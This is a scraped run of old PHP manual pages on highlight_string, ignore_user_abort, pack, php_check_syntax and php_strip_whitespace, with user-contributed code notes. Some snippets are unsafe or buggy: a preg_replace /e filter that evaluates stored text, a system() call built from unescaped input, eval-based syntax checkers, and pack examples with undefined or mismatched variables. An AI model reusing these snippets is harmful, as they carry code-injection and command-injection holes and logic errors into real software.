  $header='<table border="0" cellpadding="0" cellspacing="0" width="95%" style="border-style: solid; border-width:1px; border-color: white black black white">
    <tr>
      <td width="100%" colspan="2"  style="border-style: solid; border-width:1px; border-color: white; background-color: #99ccff; font-family:Arial; color:white; font-weight:bold;">Php-Code:</td>
    </tr>
    <tr>
      <td width="3%" valign="top" style="background-color: #99ccff; border-style: solid; border-width:1px; border-color: white;"><code>'.$line.'</code></td>
      <td width="97%" valign="top" style="background-color: white;"><div style="white-space: nowrap; overflow: auto;"><code>';

  $footer=$Code.'</div></code></td>
    </tr>
  </table>';

  return $header.$footer;
} ?>
admin [at] develogix [dot] com 17-Feb-2005 08:15
I've been working on a good replacement for the highlight_string() function; and here is what I've come up with so far:

<?
function get_sourcecode_string($str, $return = false, $counting = true, $first_line_num = '1', $font_color = '#666'){
    $str = highlight_string($str, TRUE);
    $replace = array(
        '<font' => '<span',
        'color="' => 'style="color: ',
        '</font>' => '</span>',
        '<code>' => '',
        '</code>' => '',
        '<span style="color: #FF8000">' =>
            '<span style="color: '.$font_color.'">'
        );
    foreach ($replace as $html => $xhtml){
        $str = str_replace($html, $xhtml, $str);
    }
    // delete the first <span style="color:#000000;"> and the corresponding </span>
    $str = substr($str, 30, -9);

    $arr_html      = explode('<br />', $str);
    $total_lines   = count($arr_html);
    $out           = '';
    $line_counter  = 0;
    $last_line_num = $first_line_num + $total_lines;

    foreach ($arr_html as $line){
        $line = str_replace(chr(13), '', $line);
        $current_line = $first_line_num + $line_counter;
        if ($counting){
            $out .= '<span style="color:'.$font_color.'">'
                  . str_repeat('&nbsp;', strlen($last_line_num) - strlen($current_line))
                  . $current_line
                  . ': </span>';
        }
        $out .= $line
              . '<br />'."\n";
        $line_counter++;
    }
    $out = '<code>'."\n".$out.'</code>."\n"';

    if ($return){return $out;}
    else {echo $out;}
}
?>

This function outputs valid XHTML 1.1 code by replacing font tags with span tags. You can also specify whether you want it to return or echo, output a line-count, the color of the line-count, and the starting line-count number.

Usage:
<?
// $str = string with php
// $return = true (return) / false (echo)
//    default of false
// $counting = true (count) / false (don't count)
//    default of true
// $start = starting count number
//    default of '1'
// $color = count color with preceding #
//    defalut of '#666'
get_sourcecode_string($str, $return,   $counting, $start, $color);
?>
gaggge at gmail dot com 30-Jan-2005 05:26
This is a little function for highlighting bbcode-stylish PHP code from a mysql database.
(Like this: [php]<?php echo "test"; ?>[/php])

<?php
function bbcode($s)
{
    $s = str_replace("]\n", "]", $s);
    $match = array('#\[php\](.*?)\[\/php\]#se');
    $replace = array("'<div>'.highlight_string(stripslashes('$1'), true).'</div>'");
    return preg_replace($match, $replace, $s);
}
?>
admin at bwongar dot com 06-Jan-2005 12:11
I didn't get the expected results from the other XHTML_highlight function, so I developed my own and it is much more efficient. The older one uses a preg_replace to replace the contents of the tag to within a span tag. The only preg_replace in my function pulls the color attribute, and puts it within a str_replace'd span tag.

<?php
function xhtml_highlight($str) {
    $str = highlight_string($str, true);
    $str = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $str);
    return preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);
}

?>
manithu at fahr-zur-hoelle dot org 06-Nov-2004 08:10
This function will return highlighted, xhtml 1.1 valid code (replaces <font> with <span> elements and color with style attributes):

<?php

function xhtml_highlight($str) {
    $str = highlight_string($str, true);
    //replace <code><font color=""></font></code>
    $str = preg_replace('#<font color="([^\']*)">([^\']*)</font>#', '<span style="color: \\1">\\2</span>', $str);
    //replace other <font> elements
    return preg_replace('#<font color="([^\']*)">([^\']*)</font>#U', '<span style="color: \\1">\\2</span>', $str);
}

?>


Set whether a client disconnect should abort script execution

  • « highlight_string
  • pack »
  • PHP Manual
  • Misc. Functions
  • Set whether a client disconnect should abort script execution

ignore_user_abort

(PHP 4, PHP 5)

ignore_user_abort — Set whether a client disconnect should abort script execution

Description

int ignore_user_abort ([ string $value ] )

Sets whether a client disconnect should cause a script to be aborted.

When running PHP as a command line script, and the script's tty goes away without the script being terminated then the script will die the next time it tries to write anything, unless value is set to TRUE

Parameters

value

If set, this function will set the ignore_user_abort ini setting to the given value. If not, this function will only return the previous setting without changing it.

Return Values

Returns the previous setting, as an integer.

Examples

Example #1 A ignore_user_abort() example

<?php
// Ignore user aborts and allow the script
// to run forever
ignore_user_abort(true);
set_time_limit(0);

echo 'Testing connection handling in PHP';

// Run a pointless loop that sometime
// hopefully will make us click away from
// page or click the "Stop" button.
while(1)
{
    // Did the connection fail?
    if(connection_status() != CONNECTION_NORMAL)
    {
        break;
    }

    // Sleep for 10 seconds
    sleep(10);
}

// If this is reached, then the 'break'
// was triggered from inside the while loop

// So here we can log, or perform any other tasks
// we need without actually being dependent on the
// browser.
?>

Notes

PHP will not detect that the user has aborted the connection until an attempt is made to send information to the client. Simply using an echo statement does not guarantee that information is sent, see flush().

See Also

  • connection_aborted() - Check whether client disconnected
  • connection_status() - Returns connection status bitfield
  • Connection Handling for a complete description of connection handling in PHP.

User Contributed Notes

lukas dot starecek at centrum dot cz 14-Sep-2009 09:22
Comment from Anonymous is not 100% valid. Time from sleep function is not counted to execution time because sleep delays program execution (see http://www.php.net/manual/en/function.sleep.php and comments). We tested it and it's true. Try this:

<?php

set_time_limit(2);
sleep(4);
echo 'hi!';
sleep(4);
echo 'bye bye!';

?>

It means, that if the loop most of the time will be at sleep (and in this case it probably be), then this script may be active for months or years even if you set time limit to one day.
Anonymous 03-Jul-2009 10:38
use the spiritual-coder's code below with exreme caution and do not use it unless you are an advanced user.

first of all, such a code with no bypass point can cause infinite loops and ghost threads in server. there must be a trick to break out the loop.

i.e. you can use  if (file_exists(dirname(__FILE__)."stop.txt")) break; in the loop so if you create "stop.txt", she script will stop execution.

also if you use set_time_limit(86400); instead of set_time_limit(0); your script will stop after one day.
phpguy92135 at yahoo dot com 08-Jun-2009 01:28
Theres no point in sending anything to the browser if the user does abort.  Since the user aborted, the browser wont listen even if PHP did send information to the browser.

If you want to see if the user did abort, then use error_log() or some other form of logging to find out what happened, but dont rely on the output to the browser as the only method of checking ones data.
spiritual-coder at spiritual-coder dot com 13-Jul-2006 06:45
If you want to simulate a crontask you must call this script once and it will keep running forever (during server uptime) in the background while "doing something" every specified seconds (= $interval):

<?php
ignore_user_abort(1); // run script in background
set_time_limit(0); // run script forever
$interval=60*15; // do every 15 minutes...
do{
   // add the script that has to be ran every 15 minutes here
   // ...
   sleep($interval); // wait 15 minutes
}while(true);
?>
plamen at pulsator dot com 29-Mar-2001 06:21
The script should output something to the browser in order to abort. If there is no output the script keeps on running.


Pack data into binary string

  • « ignore_user_abort
  • php_check_syntax »
  • PHP Manual
  • Misc. Functions
  • Pack data into binary string

pack

(PHP 4, PHP 5)

pack — Pack data into binary string

Description

string pack ( string $format [, mixed $args [, mixed $... ]] )

Pack given arguments into a binary string according to format.

The idea for this function was taken from Perl and all formatting codes work the same as in Perl. However, there are some formatting codes that are missing such as Perl's "u" format code.

Note that the distinction between signed and unsigned values only affects the function unpack(), where as function pack() gives the same result for signed and unsigned format codes.

Parameters

format

The format string consists of format codes followed by an optional repeater argument. The repeater argument can be either an integer value or * for repeating to the end of the input data. For a, A, h, H the repeat count specifies how many characters of one data argument are taken, for @ it is the absolute position where to put the next data, for everything else the repeat count specifies how many data arguments are consumed and packed into the resulting binary string.

Currently implemented formats are:

pack() format characters
Code | Description
a | NUL-padded string
A | SPACE-padded string
h | Hex string, low nibble first
H | Hex string, high nibble first
c | signed char
C | unsigned char
s | signed short (always 16 bit, machine byte order)
S | unsigned short (always 16 bit, machine byte order)
n | unsigned short (always 16 bit, big endian byte order)
v | unsigned short (always 16 bit, little endian byte order)
i | signed integer (machine dependent size and byte order)
I | unsigned integer (machine dependent size and byte order)
l | signed long (always 32 bit, machine byte order)
L | unsigned long (always 32 bit, machine byte order)
N | unsigned long (always 32 bit, big endian byte order)
V | unsigned long (always 32 bit, little endian byte order)
q | signed long long (always 64 bit, machine byte order)
Q | unsigned long long (always 64 bit, machine byte order)
J | unsigned long long (always 64 bit, big endian byte order)
P | unsigned long long (always 64 bit, little endian byte order)
f | float (machine dependent size and representation)
d | double (machine dependent size and representation)
x | NUL byte
X | Back up one byte
Z | NUL-padded string (new in PHP 5.5)
@ NUL-fill to absolute position

args

Return Values

Returns a binary string containing data.

Changelog

Version | Description
5.6.3 | The "q", "Q", "J" and "P" codes were added to enable working with 64-bit numbers.
5.5.0 | The "Z" code was added with equivalent functionality to "a" for Perl compatibility.

Examples

Example #1 pack() example

<?php
$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);
?>

The resulting binary string will be 6 bytes long and contain the byte sequence 0x12, 0x34, 0x78, 0x56, 0x41, 0x42.

Notes

Caution

Note that PHP internally stores integer values as signed values of a machine-dependent size (C type long). Integer literals and operations that yield numbers outside the bounds of the integer type will be stored as float. When packing these floats as integers, they are first cast into the integer type. This may or may not result in the desired byte pattern.

The most relevant case is when packing unsigned numbers that would be representable with the integer type if it were unsigned. In systems where the integer type has a 32-bit size, the cast usually results in the same byte pattern as if the integer were unsigned (although this relies on implementation-defined unsigned to signed conversions, as per the C standard). In systems where the integer type has 64-bit size, the float most likely does not have a mantissa large enough to hold the value without loss of precision. If those systems also have a native 64-bit C int type (most UNIX-like systems don't), the only way to use the I pack format in the upper range is to create integer negative values with the same byte representation as the desired unsigned value.

See Also

  • unpack() - Unpack data from binary string

User Contributed Notes

jrm456 at speed dot 1s dot fr 20-Feb-2014 01:20
How to convert an integer to raw data, specifying the amount of bytes to convert to (will be padded with 0's):

    public function toRaw($int, $bytes = 4)
    {
        $hex = dechex($int);

        if (strlen($hex) % 2 != 0)
            $hex = '0'. $hex;

        $arr = str_split($hex, 2);

        while (count($arr) < $bytes)
            array_unshift($arr, 0);

        $arr = array_map('hexdec', $arr);
        $arr = array_map('chr', $arr);

        return join('', array_reverse($arr));
    }
petepostma at gmail dot spam dot com 07-Jul-2012 02:26
Even though in a 64-bit architecure intval(6123456789) = 6123456789, and sprintf('%b', 5000000000) = 100101010000001011111001000000000
pack will not treat anything passed to it as 64-bit.  If you want to pack a 64-bit integer:

<?php
$big = 5000000000;

$left = 0xffffffff00000000;
$right = 0x00000000ffffffff;

$l = ($big & $left) >>32;
$r = $big & $right;

$good = pack('NN', $l, $r);

$urlsafe = str_replace(array('+','/'), array('-','_'), base64_encode($good));

//done!

//rebuild:
$unurl =  str_replace(array('-','_'), array('+','/'), $urlsafe);
$binary = base64_decode($unurl);

$set = unpack('N2', $tmp);
print_r($set);

$original = $set[1] << 32 | $set[2];
echo $original, "\\r\\n";
?>

results in:
Array
(
    [1] => 1
    [2] => 705032704
)
5000000000

but ONLY on a 64-bit enabled machine and PHP distro.
chadm at codeangel dot org 24-Feb-2012 06:13
If you'd like to understand pack/unpack. There is a tutorial here in perl, that works equally well in understanding it for php:

http://perldoc.perl.org/perlpacktut.html
Gerjoo at gmail dot com 26-May-2011 09:55
You can use pack to strip the byte order mark (BOM) from a file.

For example, strip the UTF-8 BOM:

<?php

// Strips the UTF-8 mark: (hex value: EF BB BF)
function trimUTF8BOM($data){
    if(substr($data, 0, 3) == pack('CCC', 239, 187, 191)) {
        return substr($data, 3);
    }
    return $data;
}

?>

This function could be easily adjusted to match any byte order mark. Have a look at wikipedia for a full list of hex codes for each specific encoding.

- Gerard
FrozenFire 21-Oct-2010 06:40
If you need to unpack a signed short from big-endian or little-endian specifically, instead of machine-byte-order, you need only unpack it as the unsigned form, and then if the result is >= 2^15, subtract 2^16 from it.

And example would be:

<?php
$foo = unpack("n", $signedbigendianshort);
$foo = $foo[1];
if($foo >= pow(2, 15)) $foo -= pow(2, 16);
?>
Ammar Hameed 21-Jun-2010 01:53
Using pack to write Arabic char(s) to a file.

<?php
$text = "&#13574;&#13830;&#13830;";

$text = mb_convert_encoding($text, "UCS-2BE", "HTML-ENTITIES");

$len =  mb_strlen($text);

$bom = mb_convert_encoding("&#65534;", "unicode", "HTML-ENTITIES");

$fp = fopen('text.txt', 'w');

fwrite($fp, pack('a2', $bom));
fwrite($fp, pack("a{$len}", $text));
fwrite($fp, pack('a2', $bom));
fwrite($fp, pack('a2', "\n"));

fclose($fp);
?>
SixThreeOh 15-Feb-2010 07:04
If you're bugged by http://bugs.php.net/bug.php?id=5889 then you can try this:

Use igbinary-serialize if you don't mind a little overhead.

Or intarray (by the same person) if you don't mind using a slightly experimental package which may have problems sharing data between differently byte/bit ordered architectures.

I don't believe it would be too difficult to shove a serialize function and unserialize function in there if you rip out the code from igbinary for storing numeric arrays with the correct endianess. Looking at `igbinary_serialize32` and `igbinary_unserialize32` in igbinary.c it should be very easy to copy that functionality to intarray.c.

Take away the "<<0" though, that's just stupid :P

Ref: http://opensource.dynamoid.com/
Anonymous 22-Aug-2009 05:30
Coder's example is basically an explanation of bindec() and decbin(), not pack() and unpack().

Here's some code to convert a string binary expression into its binary-string equivalent and vice versa.

(Would be even simpler if pack/unpack offered a 'b' format code....)

<?php
function bin2bstr($input)
// Convert a binary expression (e.g., "100111") into a binary-string
{
  if (!is_string($input)) return null; // Sanity check

  // Pack into a string
  return pack('H*', base_convert($input, 2, 16));
}

function bstr2bin($input)
// Binary representation of a binary-string
{
  if (!is_string($input)) return null; // Sanity check

  // Unpack as a hexadecimal string
  $value = unpack('H*', $input);

  // Output binary representation
  return base_convert($value[1], 16, 2);
}

// Returns string(3) "ABC"
var_dump(bin2bstr('01000001 01000010 01000011'));

// Returns string(24) "010000010100001001000011"
var_dump(bstr2bin('ABC'));
?>
Coder 08-Apr-2009 01:54
These two functions allow conversion between binary string and signed integer with possibility to give the bit length.

Usage:
<?php
echo si2bin(-10, 32);
11111111111111111111111111110110
echo si2bin(10, 32);
00000000000000000000000000001010
echo bin2si("11111111111111111111111111110110", 32);
-10
echo bin2si("00000000000000000000000000001010", 32);
10

// signed integer to binary
function si2bin($si, $bits=32)
{
    if ($si >= -pow(2,$bits-1) and $si <= pow(2,$bits-1) )
    {
        if ($si >= 0) // positive or zero
        {
            $bin = base_convert($si,10,2);
            // pad to $bits bit
            $bin_length = strlen($bin);
            if ($bin_length < $bits) $bin = str_repeat ( "0", $bits-$bin_length).$bin;
        }
        else // negative
        {
            $si = -$si-pow(2,$bits);
            $bin = base_convert($si,10,2);
            $bin_length = strlen($bin);
            if ($bin_length > $bits) $bin = str_repeat ( "1", $bits-$bin_length).$bin;
        }
        return $bin;
    }
}

// binary to signed integer
function bin2si($bin,$bits=32)
{
    if (strlen($bin)==$bits)
    {
        if (substr($bin,0,1) == 0) // positive or zero
        {
            $si = base_convert($bin,2,10);
        }
        else // negative
        {
            $si = base_convert($bin,2,10);
            $si = -(pow(2,$bits)-$si);
        }
        return $si;
    }
}
?>
Anonymous 06-Jul-2008 01:17
Array pack:
<?php
function pack_array($v,$a) {
 return call_user_func_array(pack,array_merge(array($v),(array)$a));
}
?>
php at nagler-ihlein dot de 08-May-2008 04:26
Be aware of format code H always padding the 0 for byte-alignment to the right (for odd count of nibbles).

So pack("H", "7") results in 0x70 (ASCII character 'p') and not in 0x07 (BELL character)
as well as pack("H*", "347") results in 0x34 ('4') and 0x70 ('p') and not 0x03 and 0x47.
Quis AT spam.to.my.devnull.quis.cx 25-Jan-2008 03:45
<?PHP
function ntohs($port) {
  $b=pack("N", $port);
  return substr($b,2,2);
}
?>

I've spent a number of hours (n>=2) finding how to do this,
it works like the c function 'ntohs', used for eg the socks5 proxy protocol.
dylan at pow7 dot com 06-Sep-2007 01:00
This is how I used pack to convert base2 to base64 since base_convert doesn't support base64
The base conversions don't work for long strings, which is why I convert 1 byte at a time
Hope this helps someone

function base2to64($base2) {
    if ($remainbits = strlen($base2)%8) $base2 .= str_repeat('0',8-$remainbits);
    $base64 = NULL;
    for ($i=0;$i<strlen($base2);$i+=8) $base16 .= sprintf('%02x',bindec(sprintf('%08d',substr($base2,$i,8))));
    return base64_encode(pack('H*',$base16));
}
function base64to2($base64) {
    list($base16) = unpack('H*0',base64_decode($base64));
    $base2 = NULL;
    for ($i=0;$i<strlen($base16);$i++) $base2 .= sprintf('%04d',base_convert(substr($base16,$i,1),16,2));
    return $base2;
}
Newdawn.dk 23-Mar-2006 01:25
When trying to create a ZIP file using the pack function - I experienced trouble with the "a" code - It converted all chars correct from the std. ASCII charset but not more language specific like ÆøÅ.
It seems that ZIP files do not use the same HEX for these as everything else does.
The fix was a quick workaround but you'll probably get the picture:
function UniHex($str) {
    // æ ø å Æ Ø Å
    //These are simply one HEX code being replaced by another to correct the issue
    $except = array("E6"=>"91","F8"=>"9B","E5"=>"86","C6"=>"92","D8"=>"9D",    "C5"=>"8F");
    for($i = 0; $i < strlen($str); $i++) {
        $hex = bin2hex(substr($str, $i, 1));
        if ($except[strtoupper($hex)])
            $hex = $except[strtoupper($hex)];
        $return .= $hex;
    }
    return $return;
}
And then i replaced an "a100" code with "H".strlen(uniHex($mystring))

This is like i said a quick workaround, but if you find the real reason for this i'd be happy to see it
j.s.hoekstra 13-Mar-2006 05:57
/* Convert float from HostOrder to Network Order */
function FToN( $val )
{
    $a = unpack("I",pack( "f",$val ));
    return pack("N",$a[1] );
}

/* Convert float from Network Order to HostOrder */
function NToF($val )
{
    $a = unpack("N",$val);
    $b = unpack("f",pack( "I",$a[1]));
    return $b[1];
}
Patrik Fimml 11-Oct-2005 07:42
You will get the same effect with

<?php
function _readInt($fp)
{
   return unpack('V', fread($fp, 4));
}
?>

or unpack('N', ...) for big-endianness.
zilinex at yahoo dot com 02-Sep-2004 08:12
a cool function to converrt numbers to Persian numbers(utf-8)
origin: http://www.farsiweb.info/jalali/jalali.phps

function farsinum($str)
{
  $ret = "";
  for ($i = 0; $i < strlen($str); ++$i) {
        $c = $str[$i];
        if( $c >= '0' && $c <= '9' )
                $out .= pack("C*", 0xDB, 0xB0 + $c);
        else
                $ret .= $c;
  }
  return $ret;
}
plutus at gmx dot de 10-Aug-2000 01:14
Note that the the upper command in perl looks like this:

$binarydata = pack ("n v c*", 0x1234, 0x5678, 65, 66);
In PHP it seems that no whitespaces are allowed in the first parameter. So if you want to convert your pack command from perl -> PHP, don't forget to remove the whitespaces!


Check the PHP syntax of (and execute) the specified file

  • « pack
  • php_strip_whitespace »
  • PHP Manual
  • Misc. Functions
  • Check the PHP syntax of (and execute) the specified file

php_check_syntax

(PHP 5 <= 5.0.4)

php_check_syntax — Check the PHP syntax of (and execute) the specified file

Description

bool php_check_syntax ( string $filename [, string &$error_message ] )

Performs a syntax (lint) check on the specified filename testing for scripting errors.

This is similar to using php -l from the commandline except that this function will execute (but not output) the checked filename.

For example, if a function is defined in filename, this defined function will be available to the file that executed php_check_syntax(), but output from filename will be suppressed.

Note:

For technical reasons, this function is deprecated and removed from PHP. Instead, use php -l somefile.php from the commandline.

Parameters

filename

The name of the file being checked.

error_message

If the error_message parameter is used, it will contain the error message generated by the syntax check. error_message is passed by reference.

Return Values

Returns TRUE if the lint check passed, and FALSE if the link check failed or if filename cannot be opened.

Changelog

Version | Description
5.0.5 | This function was removed from PHP.
5.0.3 | Calling exit() after php_check_syntax() resulted in a Segfault.
5.0.1 | error_message is passed by reference.

Examples

php -l somefile.php

The above example will output something similar to:

PHP Parse error: unexpected T_STRING in /tmp/somefile.php on line 81

See Also

  • include - include
  • is_readable() - Tells whether a file exists and is readable

User Contributed Notes

kevin at metalaxe dot com 20-Dec-2008 01:37
I've given it some thought and rewritten my function to take full advantage of the CLI -l option (that's lower L). It requires that you enable error reporting via your own php.ini file (which you should edit the function to apply) otherwise the return result is a worthless "Error parsing".

Anyway, I hope this is useful for someone. I'm sure it could use improvement, so use at your own risk. Demo here:
http://kevinpeno.com/projects/php_syntax_check.php

<?php
/**
*    Check Syntax
*    Performs a Syntax check within a php script, without killing the parser (hopefully)
*    Do not use this with PHP 5 <= PHP 5.0.4, or rename this function.
*
*    @params    string    PHP to be evaluated
*    @return    array    Parse error info or true for success
**/
function php_check_syntax( $php, $isFile=false )
{
    # Get the string tokens
    $tokens = token_get_all( '<?php '.trim( $php  ));

    # Drop our manually entered opening tag
    array_shift( $tokens );
    token_fix( $tokens );

    # Check to see how we need to proceed
    # prepare the string for parsing
    if( isset( $tokens[0][0] ) && $tokens[0][0] === T_OPEN_TAG )
       $evalStr = $php;
    else
        $evalStr = "<?php\n{$php}?>";

    if( $isFile OR ( $tf = tempnam( NULL, 'parse-' ) AND file_put_contents( $tf, $php ) !== FALSE ) AND $tf = $php )
    {
        # Prevent output
        ob_start();
        system( 'C:\inetpub\PHP\5.2.6\php -c "'.dirname(__FILE__).'/php.ini" -l < '.$php, $ret );
        $output = ob_get_clean();

        if( $ret !== 0 )
        {
            # Parse error to report?
            if( (bool)preg_match( '/Parse error:\s*syntax error,(.+?)\s+in\s+.+?\s*line\s+(\d+)/', $output, $match ) )
            {
                return array(
                    'line'    =>    (int)$match[2],
                    'msg'    =>    $match[1]
                );
            }
        }
        return true;
    }
    return false;
}

//fixes related bugs: 29761, 34782 => token_get_all returns <?php NOT as T_OPEN_TAG
function token_fix( &$tokens ) {
    if (!is_array($tokens) || (count($tokens)<2)) {
        return;
    }
   //return of no fixing needed
    if (is_array($tokens[0]) && (($tokens[0][0]==T_OPEN_TAG) || ($tokens[0][0]==T_OPEN_TAG_WITH_ECHO)) ) {
        return;
    }
    //continue
    $p1 = (is_array($tokens[0])?$tokens[0][1]:$tokens[0]);
    $p2 = (is_array($tokens[1])?$tokens[1][1]:$tokens[1]);
    $p3 = '';

    if (($p1.$p2 == '<?') || ($p1.$p2 == '<%')) {
        $type = ($p2=='?')?T_OPEN_TAG:T_OPEN_TAG_WITH_ECHO;
        $del = 2;
        //update token type for 3rd part?
        if (count($tokens)>2) {
            $p3 = is_array($tokens[2])?$tokens[2][1]:$tokens[2];
            $del = (($p3=='php') || ($p3=='='))?3:2;
            $type = ($p3=='=')?T_OPEN_TAG_WITH_ECHO:$type;
        }
        //rebuild erroneous token
        $temp = array($type, $p1.$p2.$p3);
        if (version_compare(phpversion(), '5.2.2', '<' )===false)
            $temp[] = isset($tokens[0][2])?$tokens[0][2]:'unknown';

        //rebuild
        $tokens[1] = '';
        if ($del==3) $tokens[2]='';
        $tokens[0] = $temp;
    }
    return;
}
?>
nicolas dot grekas+php at gmail dot com 20-Oct-2008 10:20
Hi again, here is my last contribution to the subject : this php_syntax_error() function returns false if there is no syntax error in $code, or an array($message, $line) if there is one (idea borrowed from kevin's code) .

For exemple, php_syntax_error(' DELIBERTE PHP ERROR; ') returns array('unexpected T_STRING', 1) ;)

Please note that the dead code sandbox IS important. A "return" at the beginning of the evaluated string can easily be broken: try eval('return; function strlen(){}') versus eval('if(0){function strlen(){}}').

<?php

function php_syntax_error($code)
{
    $braces = 0;
    $inString = 0;

    // First of all, we need to know if braces are correctly balanced.
    // This is not trivial due to variable interpolation which
    // occurs in heredoc, backticked and double quoted strings
    foreach (token_get_all('<?php ' . $code) as $token)
    {
        if (is_array($token))
        {
            switch ($token[0])
            {
            case T_CURLY_OPEN:
            case T_DOLLAR_OPEN_CURLY_BRACES:
            case T_START_HEREDOC: ++$inString; break;
            case T_END_HEREDOC:   --$inString; break;
            }
        }
        else if ($inString & 1)
        {
            switch ($token)
            {
            case '`':
            case '"': --$inString; break;
            }
        }
        else
        {
            switch ($token)
            {
            case '`':
            case '"': ++$inString; break;

            case '{': ++$braces; break;
            case '}':
                if ($inString) --$inString;
                else
                {
                    --$braces;
                    if ($braces < 0) break 2;
                }

                break;
            }
        }
    }

    // Display parse error messages and use output buffering to catch them
    $inString = @ini_set('log_errors', false);
    $token = @ini_set('display_errors', true);
    ob_start();

    // If $braces is not zero, then we are sure that $code is broken.
    // We run it anyway in order to catch the error message and line number.

    // Else, if $braces are correctly balanced, then we can safely put
    // $code in a dead code sandbox to prevent its execution.
    // Note that without this sandbox, a function or class declaration inside
    // $code could throw a "Cannot redeclare" fatal error.

    $braces || $code = "if(0){{$code}\n}";

    if (false === eval($code))
    {
        if ($braces) $braces = PHP_INT_MAX;
        else
        {
            // Get the maximum number of lines in $code to fix a border case
            false !== strpos($code, "\r") && $code = strtr(str_replace("\r\n", "\n", $code), "\r", "\n");
            $braces = substr_count($code, "\n");
        }

        $code = ob_get_clean();
        $code = strip_tags($code);

        // Get the error message and line number
        if (preg_match("'syntax error, (.+) in .+ on line (\d+)$'s", $code, $code))
        {
            $code[2] = (int) $code[2];
            $code = $code[2] <= $braces
                ? array($code[1], $code[2])
                : array('unexpected $end' . substr($code[1], 14), $braces);
        }
        else $code = array('syntax error', 0);
    }
    else
    {
        ob_end_clean();
        $code = false;
    }

    @ini_set('display_errors', $token);
    @ini_set('log_errors', $inString);

    return $code;
}

?>
matt dot nospam at pryor dot org dot uk 05-Feb-2008 02:35
While developing an app where I have to include PHP files written by a user, I came across the following problem:

I used "php -l somefile.php" to check the syntax of the file I was about to include and if it passed, I would include it - so far so good. But in some test cases, the file I was including would have other includes/requires inside it. If one of these was invalid, then I would still get the parse error that I was trying to avoid.

I got round it using this:

<?php
    function CheckSyntax($fileName, $checkIncludes = true)
    {
        // If it is not a file or we can't read it throw an exception
        if(!is_file($fileName) || !is_readable($fileName))
            throw new Exception("Cannot read file ".$fileName);

        // Sort out the formatting of the filename
        $fileName = realpath($fileName);

        // Get the shell output from the syntax check command
        $output = shell_exec('php -l "'.$fileName.'"');

        // Try to find the parse error text and chop it off
        $syntaxError = preg_replace("/Errors parsing.*$/", "", $output, -1, $count);

        // If the error text above was matched, throw an exception containing the syntax error
        if($count > 0)
            throw new Exception(trim($syntaxError));

        // If we are going to check the files includes
        if($checkIncludes)
        {
            foreach(GetIncludes($fileName) as $include)
            {
                // Check the syntax for each include
                CheckSyntax($include);
            }
        }
    }

    function GetIncludes($fileName)
    {
        // NOTE that any file coming into this function has already passed the syntax check, so
        // we can assume things like proper line terminations

        $includes = array();
        // Get the directory name of the file so we can prepend it to relative paths
        $dir = dirname($fileName);

        // Split the contents of $fileName about requires and includes
        // We need to slice off the first element since that is the text up to the first include/require
        $requireSplit = array_slice(preg_split('/require|include/i', file_get_contents($fileName)), 1);

        // For each match
        foreach($requireSplit as $string)
        {
            // Substring up to the end of the first line, i.e. the line that the require is on
            $string = substr($string, 0, strpos($string, ";"));

            // If the line contains a reference to a variable, then we cannot analyse it
            // so skip this iteration
            if(strpos($string, "$") !== false)
                continue;

            // Split the string about single and double quotes
            $quoteSplit = preg_split('/[\'"]/', $string);

            // The value of the include is the second element of the array
            // Putting this in an if statement enforces the presence of '' or "" somewhere in the include
            // includes with any kind of run-time variable in have been excluded earlier
            // this just leaves includes with constants in, which we can't do much about
            if($include = $quoteSplit[1])
            {
                // If the path is not absolute, add the dir and separator
                // Then call realpath to chop out extra separators
                if(strpos($include, ':') === FALSE)
                    $include = realpath($dir.DIRECTORY_SEPARATOR.$include);

                array_push($includes, $include);
            }
        }

        return $includes;
    }
?>

This checks as many of the includes inside the file as it possibly can without executing anything.
nicolas dot grekas+php at gmail dot com 25-Jan-2008 07:16
My previous code was buggy sorry, here is an update (thanks phprockstheworld). I can't find a way to break the dead code sandbox. Who can ?

<?php

function eval_syntax($code)
{
    $braces = 0;
    $inString = 0;

    // We need to know if braces are correctly balanced.
    // This is not trivial due to variable interpolation
    // which occurs in heredoc, backticked and double quoted strings
    foreach (token_get_all('<?php ' . $code) as $token)
    {
        if (is_array($token))
        {
            switch ($token[0])
            {
            case T_CURLY_OPEN:
            case T_DOLLAR_OPEN_CURLY_BRACES:
            case T_START_HEREDOC: ++$inString; break;
            case T_END_HEREDOC:   --$inString; break;
            }
        }
        else if ($inString & 1)
        {
            switch ($token)
            {
            case '`':
            case '"': --$inString; break;
            }
        }
        else
        {
            switch ($token)
            {
            case '`':
            case '"': ++$inString; break;

            case '{': ++$braces; break;
            case '}':
                if ($inString) --$inString;
                else
                {
                    --$braces;
                    if ($braces < 0) return false;
                }

                break;
            }
        }
    }

    if ($braces) return false; // Unbalanced braces would break the eval below
    else
    {
        ob_start(); // Catch potential parse error messages
        $code = eval('if(0){' . $code . '}'); // Put $code in a dead code sandbox to prevent its execution
        ob_end_clean();

        return false !== $code;
    }
}


Return source with stripped comments and whitespace

  • « php_check_syntax
  • show_source »
  • PHP Manual
  • Misc. Functions
  • Return source with stripped comments and whitespace

php_strip_whitespace

(PHP 5)

php_strip_whitespace — Return source with stripped comments and whitespace

Description

string php_strip_whitespace ( string $filename )

Returns the PHP source code in filename with PHP comments and whitespace removed. This may be useful for determining the amount of actual code in your scripts compared with the amount of comments. This is similar to using php -w from the commandline.

Parameters

filename

Path to the PHP file.

Return Values

The stripped source code will be returned on success, or an empty string on failure.

Note:

This function works as described as of PHP 5.0.1. Before this it would only return an empty string. For more information on this bug and its prior behavior, see bug report » #29606.

Examples

Example #1 php_strip_whitespace() example

<?php
// PHP comment here

/*
 * Another PHP comment
 */

echo        php_strip_whitespace(__FILE__);
// Newlines are considered whitespace, and are removed too:
do_nothing();
?>

The above example will output:

<?php
 echo php_strip_whitespace(__FILE__); do_nothing(); ?>

Notice the PHP comments are gone, as are the whitespace and newline after the first echo statement.

User Contributed Notes

TK 23-May-2009 03:07
I was looking earlier for a way to strip php comments from my source files but didn't come up with much.  I wrote the following function to do the trick using the tokenizer.  I've tested in on an entire phpMyAdmin install and it worked fine afterward... so it should be good to go.  You may also specify any number of tokens to strip such as T_WHITESPACE rather the default of T_COMMENT and T_DOC_COMMENT.

Hopefully someone finds it useful.

<?php

function strip_tokens($code) {

    $args = func_get_args();
    $arg_count = count($args);

    // if no tokens to strip have been specified then strip comments by default
    if( $arg_count === 1 ) {
        $args[1] = T_COMMENT;
        $args[2] = T_DOC_COMMENT;
    }

    // build a keyed array of tokens to strip
    for( $i = 1; $i < $arg_count; ++$i )
        $strip[ $args[$i] ] = true;

